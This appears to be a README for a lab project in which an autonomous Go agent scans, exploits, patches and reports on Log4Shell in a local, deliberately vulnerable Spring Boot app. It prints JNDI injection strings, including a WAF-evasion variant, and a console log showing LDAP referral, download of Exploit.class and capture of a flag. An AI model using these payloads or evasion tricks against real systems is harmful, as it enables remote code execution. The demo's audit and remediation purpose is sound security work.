
Un agente Go autónomo y reflexivo para auditoría de seguridad de ciclo completo, evasión de WAF, verificación LDAP OOB, autocorrección (parcheo automático) e informes de cumplimiento para CVE-2021-44228 (Log4Shell).
Banco de demostración aislado de un agente ejecutor reflexivo autónomo (Go/Java)
Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦
[!NOTE] AUTO AUDIT es un sistema de software que demuestra un ciclo cerrado 100% autónomo (Sense-Think-Act) de detección, verificación, explotación, corrección automática (Self-Healing / Auto-Remediation) y generación de informes de cumplimiento para la vulnerabilidad crítica Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103).
El banco de pruebas despliega una aplicación web local basada en Java Spring Boot, un LDAP TCP Callback Listener integrado y el núcleo cognitivo del agente Go, que toma decisiones en condiciones de observabilidad parcial del entorno externo (Partially Observable Markov Decision Process — POMDP).```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#3b82f6', 'lineColor': '#38bdf8', 'secondaryColor': '#1e1b4b', 'tertiaryColor': '#0f172a', 'edgeLabelBackground': '#0f172a' } }}%% graph TD classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff; classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff; classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff; classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
B --> C{Вычисление Utility Policy}:::think
C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
D --> E[Выполнение Tool.Execute]:::act
E -->|Воздействие| F((Java Spring Boot Target)):::target
F -.->|Обратный канал OOB| A
end
---
## 🛠️ Arquitectura técnica y componentes
La estructura del software del agente está diseñada siguiendo los principios de la arquitectura limpia (*Hexagonal Architecture / Ports and Adapters*), SOLID y TDD:
* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — Punto de entrada. Gestiona el ciclo de vida de los procesos en segundo plano y coordina el lanzamiento de la goroutine del agente.
* 📂 **`internal/`** — La lógica de negocio principal del bucle cognitivo:
* 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — Bucle cognitivo. Implementa el ciclo de control y la regla de decisión para la selección de estrategia `Think()`.
* 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — Base de conocimiento segura para subprocesos (`KnowledgeBase` / LTM) basada en `sync.RWMutex`.
* 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — Interfaz `Tool` para los efectores.
* ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — Registro de efectores polimórficos (herramientas):
* 🔍 `ToolPortScanner` — Reconocimiento del perímetro de red.
* 🌐 `ToolDiscovery` — Búsqueda de puntos de articulación y vectores de entrada (`X-Api-Version`).
* 🔬 `ToolPayloadGenerator` — Síntesis del vector de firma JNDI.
* 🚀 `ToolProber` — Comprobación de la vulnerabilidad mediante trazado fuera de banda (Out-of-Band).
* 🛡️ `ToolSemanticFuzzer` — Evasión de clasificadores de filtrado (WAF Evasion) mediante mutaciones sintácticas anidadas.
* 🩹 `ToolRemediator` — Aplicación automática de parches (Self-Healing).
* 📄 `ToolReporter` — Generación del informe de acuerdo con GOST R 56939-2016.
* 📂 **`pkg/`** — Paquetes y bibliotecas auxiliares:
* 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — Escuchadores fuera de banda (LDAP y HTTP).
* ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — Gestión del ciclo de vida y del reinicio del objetivo Java local.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — Archivos de configuración para el despliegue (Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — Aplicación de prueba vulnerable Java Spring Boot.
---
## 🎯 Aparato matemático y especificación del ciclo cognitivo (Think-Act Loop)
La toma de decisiones del agente se formaliza como un **proceso de decisión de Markov parcialmente observable (POMDP)**, descrito por la tupla $\langle S, A, T, R, \Omega, O, \gamma \rangle$:
* $S$ — espacio discreto de estados ocultos del entorno objetivo (disponibilidad del puerto, presencia de parámetros vulnerables, actividad del WAF, hecho de compromiso, estado del parcheo, presencia del informe de cumplimiento).
* $A$ — espacio de acciones de los efectores (invocación de herramientas: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — espacio de observaciones (respuestas HTTP recibidas, callbacks TCP OOB, registros del sistema de archivos).
* $O(o \mid s', a)$ — función de observación que determina la probabilidad de obtener una respuesta $o \in \Omega$.
### 1. Vector de creencia (Belief State)
El agente no tiene información directa sobre el estado oculto del entorno $s \in S$ y opera con un vector de creencia $b(s)$ — una distribución de probabilidad sobre $S$, que se almacena y actualiza dinámicamente en la memoria `KnowledgeBase`:
* $b(S_{recon}) \in \{0, 1\}$ — estado del reconocimiento de red (puerto abierto/cerrado). Se refleja en `ToolPerformance["port_scanner"]`.
* $b(S_{discovery}) \in \{0, 1\}$ — mapeo de vectores de entrada (si se encontraron parámetros). Se refleja en `len(DiscoveryVectors) > 0`.
* $b(S_{payload}) \in \{0, 1\}$ — disponibilidad de la firma de exploit. Se refleja en `len(CustomPayloads) > 0`.
* $b(S_{exploit}) \in \{0, 1\}$ — estado de compromiso (presencia de Loot/Flag). Se refleja en `len(Loot) > 0`.
* $b(S_{patch}) \in \{0, 1\}$ — hecho de la localización de la vulnerabilidad. Se refleja en `PatchApplied`.
* $b(S_{verify}) \in \{0, 1\}$ — verificación de la ausencia de un nuevo disparo OOB. Se refleja en `PatchVerified`.
* $b(S_{report}) \in \{0, 1\}$ — generación del informe reglamentado. Se refleja en `ReportGenerated`.
### 2. Función de la regla de decisión (Policy Mapping)
La función de toma de decisiones `Think()` implementa una regla de decisión determinista $\pi: B \to A$, que mapea secuencialmente el estado de creencia acumulado actual $b$ a la acción óptima del efector $a \in A$.
### 3. Aprendizaje adaptativo y evaluación de la eficiencia de las herramientas
Para cada herramienta $a \in A$, en la memoria `ToolStats` se acumula estadística y se calcula un indicador de utilidad (Efficiency Score):
$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$
El agente utiliza estos indicadores para cambiar dinámicamente la trayectoria: si la sonda primaria `prober` termina en fallo ($\text{EfficiencyScore}(\text{prober}) = 0$), el agente identifica la presencia de filtrado en el nodo objetivo (WAF), activa la estrategia compensatoria de evasión de WAF mediante la herramienta `semantic_fuzzer` y realiza la mutación del vector de inyección.
### Escenario paso a paso del funcionamiento del banco de pruebas:
| Paso | Herramienta seleccionada | Acción y mecánica del proceso | Cambio en el Belief State |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | Comprobación del socket TCP del host `:8080`. | Se detecta el puerto HTTP abierto del servicio web ($b(S_{recon}) = 1$). |
| **2** | `discovery` | Ejecución de una petición GET, parseo del DOM y de las cabeceras. | Se identifica el vector de entrada: cabecera `X-Api-Version` ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | Síntesis del vector de exploit básico. | La base de datos se completa con la cadena `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). |
| **4** | `prober` | Ataque primario. El agente envía la carga útil. | El intento es bloqueado por el WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | Ofuscación de la firma mediante nested lookups. | Se genera una firma mutada ($b(S_{payload}) = 1$, WAF bypass). |
| **6** | `prober` | Ataque con el vector ofuscado. | El listener LDAP integrado registra una conexión TCP entrante. Se detecta el hecho de RCE ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | Corrección automática. Escritura del flag en `remediation.properties` y reinicio de la JVM. | El proceso Spring Boot se reinicia con el flag `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). |
| **8** | `prober` | Verificación (solicitud de sondeo repetida). | Espera de una conexión OOB en el puerto `1389`. No se recibe conexión $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | Generación del informe en markdown. | El documento `reports/cve_2021_44228_report.md` ha sido generado ($b(S_{report}) = 1$). |
| **10**| `stop` | Terminación. | Fin de la ejecución. |
## 📊 Diagramas de flujo de los algoritmos
### 1. Algoritmo general de funcionamiento del agente (Sense-Think-Act Loop)
Este diagrama describe el ciclo de vida continuo del funcionamiento del agente: desde el arranque y la inicialización de la base de conocimiento hasta la finalización de la sesión de auditoría.```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
Init --> LoopStart{Цикл принятия решений}:::decision
%% Think Phase
LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
%% Branch on Stop
Think --> IsStop{a == 'stop'?}:::decision
IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
%% Act Phase
IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
%% Sense Phase
Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
%% Wait
RecordObs --> Delay[Задержка 800 мс]:::step
Delay --> LoopStart
Este esquema describe en detalle la lógica de selección del siguiente paso basada en el vector de confianza acumulado actual (Belief State) dentro de la función Think():```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process
%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection
%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection
%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection
%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision
ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection
%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection
%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection
%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection
%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection
%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock
Unlock --> End([Возврат выбранного инструмента]):::startEnd
---
## 📦 Especificación de la aplicación Java vulnerable
La aplicación objetivo en el directorio `test/vulnerable-app/` es un servicio REST mínimo basado en **Spring Boot 2.7.18** con versiones deliberadamente reducidas de las bibliotecas **Apache Log4j2**:```xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>
El controlador vulnerable registra los encabezados HTTP entrantes sin saneamiento previo:```java logger.info("[AUDIT] API Version header logged: {}", apiVersion);
Al recibir una cadena de la forma `\${jndi:ldap://...\}`, el logger inicia la resolución de la dirección JNDI, enviando una solicitud mediante el protocolo LDAP al puerto `1389`.
---
## 🚀 Instrucciones de ejecución
El entorno de demostración admite dos modos de implementación: ejecución local directamente en el sistema host (Opción A) o ejecución totalmente contenedorizada en un entorno de red aislado mediante Docker Compose (Opción B).
### Opción A. Ejecución local en el sistema host
#### Requisitos previos
* **JDK 17+** (compruébelo con `java -version`)
* **Maven 3.8+** (compruébelo con `mvn -version`)
* **Go 1.21+** (compruébelo con `go version`)
#### 1. Compilación del microservicio Java
Compile el objetivo Java en un artefacto JAR gordo (fat JAR):```bash
cd test/vulnerable-app
mvn clean package
cd ../..
Asegúrate de que en el directorio test/vulnerable-app/target/ se haya creado correctamente el archivo vulnerable-app-simple-1.0.0.jar.
Compile la clase Java Exploit que será servida por el servidor HTTP:```bash javac internal/payload/Exploit.java
#### 3. Compilación y ejecución del banco de pruebas de demostración
Ejecución en modo de interpretación de Go sobre la marcha:```bash
go run ./cmd/agent
O compile en un archivo binario ejecutable:```bash go build -o test_agent ./cmd/agent ./test_agent
---
### Opción B. Ejecución en un entorno Docker aislado (Docker Compose)
> [!TIP]
> Esta opción no requiere instalar Go, Java ni Maven en su sistema host. Todo el entorno se compila y se orquesta automáticamente en una red virtual aislada `172.20.0.0/16`.
#### Requisitos previos
* Tener instalados **Docker** y el complemento **Docker Compose** (compruébelo con `docker compose version`).
#### 1. Puesta en marcha del banco de pruebas
Ejecute la compilación de las imágenes y el arranque de los contenedores con un solo comando desde el directorio raíz del proyecto:```bash
docker compose -f deployments/docker-compose.yml up --build
vulnerable-app compilará automáticamente la aplicación Java Spring Boot, escribirá la bandera secreta en el directorio restringido /var/lib/secret/flag.txt e iniciará el servidor web en el puerto :8080.reflective-agent compilará el código Go del agente, compilará el payload Java Exploit.java, levantará los servidores OOB e iniciará el ciclo cognitivo.reports/ en el sistema host está montada en el contenedor del agente: el informe GOST generado al final del trabajo se guardará automáticamente en su directorio reports/cve_2021_44228_report.md.Para finalizar la simulación y eliminar los recursos de red, ejecute:```bash docker compose -f deployments/docker-compose.yml down
---
## 📊 Ejemplo de salida de consola```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.
[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.
[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.
[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.
[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.
[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.
================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.
El informe generado por el agente en el archivo reports/cve_2021_44228_report.md tiene en cuenta los estándares clave de seguridad de la información rusos:
Este proyecto se distribuye bajo la licencia MIT. Los detalles se encuentran en el archivo LICENSE.